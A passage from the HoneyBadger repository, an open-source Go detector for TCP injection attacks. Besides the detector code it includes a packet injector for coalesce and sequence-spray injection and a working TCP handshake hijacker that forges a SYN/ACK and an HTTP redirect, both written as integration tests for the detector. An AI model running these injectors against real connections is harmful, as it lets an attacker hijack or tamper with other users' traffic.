2016/02/07 14:16:32 HoneyBadger: comprehensive TCP injection attack detection. 2016/02/07 14:16:32 PageCache: created 1024 new pages 2016/02/07 14:16:32 Starting AF_PACKET packet capture on interface eth0 Linux security note ------------------- If running on Linux you can avoid running as root by using the setcap command. In Linux you can run packet capture tools as an unprivileged user after you run setcap as root like this:: # setcap cap_net_raw,cap_net_admin=eip honeyBadger BSD security note ----------------- When using the ``BSD_BPF`` sniffer, avoid running as root by making sure your user has read-write access to ``/dev/bpf*`` If you are in the ``wheel`` group and the bpf devices are group owned by ``wheel`` then this should work:: # chmod g+rw /dev/bpf* ======= license ======= HoneyBadger is free software made available via the GPL3... except for small sections of code which are BSD licensed. ======= contact ======= * email dstainton415@gmail.com * gpg key ID 0x836501BE9F27A723 * gpg fingerprint F473 51BD 87AB 7FCF 6F88 80C9 8365 01BE 9F27 A723 ================================================ FILE: attack/injector.go ================================================ /* * injector.go - TCP stream injector API - "integration tests" for HoneyBadger * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package attack import ( "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "net" "log" ) type TCPStreamInjector struct { packetConn net.PacketConn pcapHandle *pcap.Handle eth *layers.Ethernet dot1q *layers.Dot1Q ipv4 layers.IPv4 ipv6 layers.IPv6 tcp layers.TCP ipBuf gopacket.SerializeBuffer Payload gopacket.Payload isIPv6Mode bool } func NewTCPStreamInjector(pcapHandle *pcap.Handle, isIPv6Mode bool) *TCPStreamInjector { t := TCPStreamInjector{ pcapHandle: pcapHandle, isIPv6Mode: isIPv6Mode, } return &t } func (i *TCPStreamInjector) SetEthernetLayer(eth *layers.Ethernet) { i.eth = eth } func (i *TCPStreamInjector) SetIPv4Layer(iplayer layers.IPv4) { i.ipv4 = iplayer } func (i *TCPStreamInjector) SetIPv6Layer(iplayer layers.IPv6) { i.ipv6 = iplayer } func (i *TCPStreamInjector) SetTCPLayer(tcpLayer layers.TCP) { i.tcp = tcpLayer } func (i *TCPStreamInjector) SpraySequenceRangePackets(start uint32, count int) error { var err error currentSeq := types.Sequence(start) stopSeq := currentSeq.Add(count) for ; currentSeq.Difference(stopSeq) != 0; currentSeq = currentSeq.Add(1) { i.tcp.Seq = uint32(currentSeq) err = i.Write() if err != nil { return err } } return nil } // SprayFutureAndFillGapPackets is used to perform an ordered coalesce injection attack; // that is we first inject packets with future sequence numbers and then we fill the gap. // The gap being the range from state machine's "next Sequence" to the earliest Sequence we // transmitted in our future sequence series of packets. func (i *TCPStreamInjector) SprayFutureAndFillGapPackets(start uint32, gap_payload, attack_payload []byte, overlap_future_packet bool) error { var err error = nil // send future packet nextSeq := types.Sequence(start) i.tcp.Seq = uint32(nextSeq.Add(len(gap_payload))) i.Payload = attack_payload err = i.Write() if err != nil { return err } if overlap_future_packet == true { // overlapping future injection i.tcp.Seq = uint32(nextSeq.Add(len(gap_payload) + 7)) i.Payload = attack_payload err = i.Write() if err != nil { return err } } // fill in gap i.tcp.Seq = start i.Payload = gap_payload err = i.Write() if err != nil { return err } return nil } func (i *TCPStreamInjector) Write() error { log.Print("Write") var err error = nil if i.isIPv6Mode { // XXX i.tcp.SetNetworkLayerForChecksum(&i.ipv6) } else { i.tcp.SetNetworkLayerForChecksum(&i.ipv4) } packetBuf := gopacket.NewSerializeBuffer() if i.isIPv6Mode { opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } err = gopacket.SerializeLayers(packetBuf, opts, i.eth, &i.ipv6, &i.tcp, i.Payload) if err != nil { log.Print("wtf. failed to encode ipv6 packet") return err } } else { opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } err = gopacket.SerializeLayers(packetBuf, opts, i.eth, &i.ipv4, &i.tcp, i.Payload) if err != nil { log.Print("wtf. failed to encode ipv4 packet") return err } } if err := i.pcapHandle.WritePacketData(packetBuf.Bytes()); err != nil { log.Printf("Failed to send packet: %s\n", err) return err } return err } ================================================ FILE: blocks/LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ================================================ FILE: blocks/blocks.go ================================================ // code borrowed from https://github.com/zond/qisniff // it's GPL2 see LICENSE // modified to use our Sequence type instead of int64 // Package blocks contains logic to detect overlap between segments of a contiguous data stream. package blocks import ( "fmt" "github.com/david415/HoneyBadger/types" "strings" ) type Block struct { A, B types.Sequence } type BlockSegment struct { Block Block Bytes []byte IsCoalesce bool IsCoalesceGap bool } func (t BlockSegment) String() string { return fmt.Sprintf("%s, Bytes %x, IsCoalesce %v, IsCoalesceGap %v", t.Block, t.Bytes, t.IsCoalesce, t.IsCoalesceGap) } func (t Block) String() string { return fmt.Sprintf("Block(%d, %d)", t.A, t.B) } func (blk Block) Overlap(a, b types.Sequence) *Block { left := a if blk.A.GreaterThan(left) { left = blk.A } right := b if blk.B.LessThan(right) { right = blk.B } if right.GreaterThan(left) { return &Block{left, right} } return nil } type Blocks []Block func (t Blocks) String() string { acc := make([]string, 1) for i := 0; i < t.Len(); i++ { acc = append(acc, t[i].String()) } return strings.Join(acc, "\n") } func (blks Blocks) Len() int { return len(blks) } func (blks Blocks) Less(i, j int) bool { return blks[i].A.LessThan(blks[j].A) } func (blks Blocks) Swap(i, j int) { blks[i], blks[j] = blks[j], blks[i] } func (blks Blocks) Overlaps(a, b types.Sequence) Blocks { var result Blocks for _, blk := range blks { if overlap := blk.Overlap(a, b); overlap != nil { result = append(result, *overlap) } } return result } func (blks Blocks) Add(a, b types.Sequence) Blocks { var result Blocks index := 0 added := false for index < len(blks) { blk := blks[index] if a.LessThanOrEqual(blk.A) { if b.LessThan(blk.A) { result = append(result, Block{a, b}) result = append(result, blks[index:]...) return result } else if b.Equals(blk.A) { result = append(result, Block{a, blk.B}) result = append(result, blks[index+1:]...) return result } else if b.GreaterThan(blk.A) { if b.LessThanOrEqual(blk.B) { result = append(result, Block{a, blk.B}) result = append(result, blks[index+1:]...) return result } else if b.GreaterThan(blk.B) { index++ } } } else if a.GreaterThan(blk.A) { if a.LessThanOrEqual(blk.B) { if b.LessThanOrEqual(blk.B) { result = append(result, blks[index:]...) return result } else if b.GreaterThan(blk.B) { a = blk.A index++ } } else if a.GreaterThan(blk.B) { result = append(result, blk) index++ } } } if !added { result = append(result, Block{a, b}) } return result } ================================================ FILE: blocks/blocks_test.go ================================================ package blocks import "testing" import "github.com/david415/HoneyBadger/types" func checkBlocks(t *testing.T, got, want Blocks) { if len(got) != len(want) { t.Errorf("Got %+v, want %+v", got, want) return } for index, blk := range got { o := want[index] if blk.A.Difference(o.A) != 0 || blk.B.Difference(o.B) != 0 { t.Errorf("Got %+v, want %+v", got, want) return } } } func TestAdd(t *testing.T) { blks := Blocks{} blks = blks.Add(types.Sequence(50), types.Sequence(100)) checkBlocks(t, blks, Blocks{{types.Sequence(50), types.Sequence(100)}}) blks = blks.Add(types.Sequence(150), types.Sequence(200)) checkBlocks(t, blks, Blocks{{types.Sequence(50), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}}) blks = blks.Add(types.Sequence(0), types.Sequence(40)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(40)}, {types.Sequence(50), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}}) blks = blks.Add(types.Sequence(40), types.Sequence(50)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}}) blks = blks.Add(types.Sequence(75), types.Sequence(120)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(120)}, {types.Sequence(150), types.Sequence(200)}}) blks = blks.Add(types.Sequence(110), types.Sequence(150)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}}) blks = blks.Add(types.Sequence(250), types.Sequence(300)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}, {types.Sequence(250), types.Sequence(300)}}) blks = blks.Add(types.Sequence(240), types.Sequence(300)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}, {types.Sequence(240), types.Sequence(300)}}) blks = blks.Add(types.Sequence(200), types.Sequence(210)) checkBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(210)}, {types.Sequence(240), types.Sequence(300)}}) } func TestOverlaps(t *testing.T) { blks := Blocks{} blks = blks.Add(types.Sequence(0), types.Sequence(100)) blks = blks.Add(types.Sequence(110), types.Sequence(200)) checkBlocks(t, blks.Overlaps(types.Sequence(50), types.Sequence(150)), Blocks{{types.Sequence(50), types.Sequence(100)}, {types.Sequence(110), types.Sequence(150)}}) checkBlocks(t, blks.Overlaps(types.Sequence(110), types.Sequence(220)), Blocks{{types.Sequence(110), types.Sequence(200)}}) } ================================================ FILE: cmd/handshakeHijacker/main.go ================================================ /* * TCP handshake hijack implementation * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package main import ( "flag" "github.com/david415/HoneyBadger/attack" "github.com/google/gopacket" "github.com/google/gopacket/examples/util" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/google/gopacket/tcpassembly" "log" "math/rand" "net" "time" ) var iface = flag.String("i", "lo", "Interface to get packets from") var filter = flag.String("f", "tcp and dst port 9666 and tcp[tcpflags] == tcp-syn", "BPF filter for pcap") var snaplen = flag.Int("s", 65536, "SnapLen for pcap packet capture") var serviceIPstr = flag.String("d", "127.0.0.1", "target TCP flows from this IPv4 or IPv6 address") var servicePort = flag.Int("e", 9666, "target TCP flows from this port") func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } ipv6_mode := false serviceIP := net.ParseIP(*serviceIPstr) if serviceIP.To4() == nil { log.Print("using ipv6 mode") ipv6_mode = true } else { log.Print("using ipv4 mode") } streamInjector := attack.NewTCPStreamInjector(handle, ipv6_mode) if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &tcp, &payload) log.Print("collecting packets...\n") for { log.Print("before ReadPacketData") data, ci, err := handle.ReadPacketData() log.Print("after ReadPacketData") if err != nil { log.Printf("error getting packet: %v %v", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } log.Printf("got packet of len %d", len(data)) // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false streamInjector.SetEthernetLayer(ð) if ipv6_mode { streamInjector.SetIPv6Layer(ip6) } else { streamInjector.SetIPv4Layer(ip4) } streamInjector.SetTCPLayer(tcp) log.Print("before panic be here now") err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) if ipv6_mode { streamInjector.SetIPv6Layer(ip6) } else { streamInjector.SetIPv4Layer(ip4) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) if ipv6_mode { streamInjector.SetIPv6Layer(ip6) } else { streamInjector.SetIPv4Layer(ip4) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") return } } ================================================ FILE: cmd/honeyBadger/main.go ================================================ /* * HoneyBadger main command line tool * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package main import ( "flag" "log" "time" "github.com/david415/HoneyBadger" "github.com/david415/HoneyBadger/logging" "github.com/david415/HoneyBadger/types" ) func main() { var ( pcapfile = flag.String("pcapfile", "", `pcap filename to read packets from rather than a wire interface. This option is to be combined with a -daq= setting of either "pcapgo" OR "libpcap"!`) iface = flag.String("i", "eth0", "Interface to get packets from") snaplen = flag.Int("s", 65536, "SnapLen for pcap packet capture") filter = flag.String("f", "tcp", "BPF filter for pcap") logDir = flag.String("l", "", "incoming log dir used initially for pcap files if packet logging is enabled") wireTimeout = flag.String("w", "3s", "timeout for reading packets off the wire") metadataAttackLog = flag.Bool("metadata_attack_log", false, "if set to true then attack reports will only include metadata") logPackets = flag.Bool("log_packets", false, "if set to true then log all packets for each tracked TCP connection") tcpTimeout = flag.Duration("tcp_idle_timeout", time.Minute*10, "tcp idle timeout duration") maxRingPackets = flag.Int("max_ring_packets", 40, "Max packets per connection stream ring buffer") detectHijack = flag.Bool("detect_hijack", true, "Detect handshake hijack attacks") detectInjection = flag.Bool("detect_injection", true, "Detect injection attacks") detectCoalesceInjection = flag.Bool("detect_coalesce_injection", true, "Detect coalesce injection attacks") maxConcurrentConnections = flag.Int("max_concurrent_connections", 300, "Maximum number of concurrent connection to track.") bufferedPerConnection = flag.Int("connection_max_buffer", 100, ` Max packets to buffer for a single connection before skipping over a gap in data and continuing to stream the connection after the buffer. If zero or less, this is infinite.`) bufferedTotal = flag.Int("total_max_buffer", 1000, ` Max packets to buffer total before skipping over gaps in connections and continuing to stream connection data. If zero or less, this is infinite`) maxPcapLogSize = flag.Int("max_pcap_log_size", 10, "maximum pcap size per rotation in megabytes") maxNumPcapRotations = flag.Int("max_pcap_rotations", 100, "maximum number of pcap rotations per connection") archiveDir = flag.String("archive_dir", "", "archive directory for storing attack logs and related pcap files") daq = flag.String("daq", "libpcap", `Data AcQuisition packet source: pcapgo, libpcap, AF_PACKET or BSD_BPF. BSD_BPF is BSD systems only. AF_PACKET is Linux only. libpcap builds on Linux and FreeBSD and can read every kind of pcap format. pcapgo builds on every platform but does not support pcap-ng format, only pcap v2.4. `) ) flag.Parse() if *daq == "pcapgo" && *pcapfile == "" { log.Fatal("must specify a -pcapfile option when using -daq=pcapgo") } log.SetFlags(log.LUTC | log.Ldate | log.Ltime ) if *daq == "" { log.Fatal("must specify a Data AcQuisition packet source`") } // XXX TODO use the pure golang pcap file sniffing API; gopacket's pcapgo if *pcapfile != "" && (*daq != "libpcap" && *daq != "pcapgo") { log.Fatal("only pcapgo and libpcap DAQs supports sniffing pcap files") } if *archiveDir == "" || *logDir == "" { log.Fatal("must specify both incoming log dir and archive log dir with option flags -l and -archive_dir") } wireDuration, err := time.ParseDuration(*wireTimeout) if err != nil { log.Fatal("invalid wire timeout duration: ", *wireTimeout) } if *maxConcurrentConnections == 0 { log.Fatal("maxConcurrentConnections must be specified") } if *bufferedPerConnection == 0 || *bufferedTotal == 0 { log.Fatal("connection_max_buffer and total_max_buffer must be set to a non-zero value") } var logger types.Logger if *metadataAttackLog { loggerInstance := logging.NewAttackMetadataJsonLogger(*archiveDir) loggerInstance.Start() defer func() { loggerInstance.Stop() }() logger = loggerInstance } else { loggerInstance := logging.NewAttackJsonLogger(*archiveDir) loggerInstance.Start() defer func() { loggerInstance.Stop() }() logger = loggerInstance } dispatcherOptions := HoneyBadger.DispatcherOptions{ BufferedPerConnection: *bufferedPerConnection, BufferedTotal: *bufferedTotal, LogDir: *logDir, LogPackets: *logPackets, MaxPcapLogRotations: *maxNumPcapRotations, MaxPcapLogSize: *maxPcapLogSize, TcpIdleTimeout: *tcpTimeout, MaxRingPackets: *maxRingPackets, Logger: logger, DetectHijack: *detectHijack, DetectInjection: *detectInjection, DetectCoalesceInjection: *detectCoalesceInjection, MaxConcurrentConnections: *maxConcurrentConnections, } snifferDriverOptions := types.SnifferDriverOptions{ DAQ: *daq, Device: *iface, Filename: *pcapfile, WireDuration: wireDuration, Snaplen: int32(*snaplen), Filter: *filter, } connectionFactory := &HoneyBadger.DefaultConnFactory{} var packetLoggerFactory types.PacketLoggerFactory if *logPackets { packetLoggerFactory = logging.NewPcapLoggerFactory(*logDir, *archiveDir, *maxNumPcapRotations, *maxPcapLogSize) } else { packetLoggerFactory = nil } log.Println("HoneyBadger: comprehensive TCP injection attack detection.") options := HoneyBadger.SupervisorOptions{ SnifferDriverOptions: &snifferDriverOptions, DispatcherOptions: dispatcherOptions, SnifferFactory: HoneyBadger.NewSniffer, ConnectionFactory: connectionFactory, PacketLoggerFactory: packetLoggerFactory, } supervisor := HoneyBadger.NewSupervisor(options) supervisor.Run() } ================================================ FILE: cmd/honeybadgerReportTool/main.go ================================================ /* * HoneyBadger report deserialization tool * * Copyright (C) 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package main import ( "bufio" "flag" "fmt" "os" "strings" "encoding/base64" "encoding/hex" "encoding/json" "github.com/david415/HoneyBadger/logging" ) func lineDiff(a, b string) { aLines := strings.Split(a, "\n") bLines := strings.Split(b, "\n") 